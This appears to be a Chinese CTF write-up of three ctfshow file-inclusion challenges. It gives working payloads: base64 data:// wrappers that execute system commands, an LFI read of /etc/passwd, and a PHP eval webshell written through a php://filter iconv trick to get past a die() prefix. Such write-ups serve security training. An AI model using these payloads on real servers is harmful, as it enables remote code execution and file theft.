目录
1、web88
2、web116
3、web117
1、web88
没有过滤冒号 : ,可以使用 data 协议,但是过滤了括号和等号,因此需要编码绕过一下。
这里有点问题,我 ('ls') 后加上分号发现不行,可能是编码结果有加号,题目做了过滤
报错:
Parse error: syntax error, unexpected '?' in data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8 on line 1
去掉分号
得到 PD9waHAgc3lzdGVtKCdscycpPz4=,传入时要把等号去掉,因为题目过滤掉了等号,否则会触发 die 函数,即使去掉等号,base64 解码也是 <?php system('ls')?>。
构造 payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpPz4
或者这样:<?php system('ls');
总的来说就是要避免加号的出现,然后如果结尾有等号要去掉。
payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw
读取 flag:
payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg
拿到 flag:ctfshow{1863caf3-bfd1-45ce-b2bf-e9f519a2c9b4}
2、web116
访问题目是一个视频,源码也没有什么有用信息
提示:misc+lfi
下载视频,使用 010editor 打开,发现存在 png 图片的数据
提取:
另存为 png 格式的图片:
打开发现是一段代码:
如果没有设置 file,那么默认就是 video/mp4,也就是我们前面看到的视频
以 get 方式给 file 传参进行文件包含,猜测是 flag.php,payload:
?file=flag.php
可以直接用 hackbar 将 mode 选择为 raw 进行请求,这样就和 burpsuite 一样
拿到 flag:ctfshow{8cd4c26c-7482-4caa-8d4c-0b8de37226cb}
读一下 /etc/passwd,也是可以读取到的:
?file=/etc/passwd
3、web117
需要在绕过 filter 函数过滤的基础上,再来绕过死亡函数。base64、rot13、string 这些都被过滤了,果然尝试前面的方法,发现不行,因为正则匹配是针对 url 解码后的内容进行的。
把一句话木马从 UCS-2LE 编码转换为 UCS-2BE 编码:
<?php
$re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_GET[1]);?>');
echo $re;
?>
运行得到:
?<hp pe@av(l_$EG[T]1;)>?
post 传入:
contents=?<hp pe@av(l_$EG[T]1;)>?
payload:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hack.php
之后调用 hack.php:
/hack.php?1=system('ls');
(其中 shll.php 是我最开始弄的,当时传 contents 传成了 content,少打了个 s)
读取 flag:
/hack.php?1=system('tac flag.php');
拿到 flag:ctfshow{e6c7cd6d-c7b6-48bb-af5a-4316ac9b9314}
因为我们传入的一句话木马是先经过一遍编码转换的,之后又通过过滤器将其还原。
而题目自己添加进去的 <?php die();?> 则会被过滤器转换成无法识别的文本内容,导致无法执行。
我们可以来看一下 hack.php 的内容:
?<hp pid(e;)>? 肯定无法正常被解析为 php 代码,也就不会执行,而我们的一句话木马 <?php @eval($_GET[1]);?> 是正常的,因此可以被调用。
至此,ctfshow-web入门 -文件包含结束。
Myon 2024.7.6
路漫漫其修远兮,吾将上下而求索。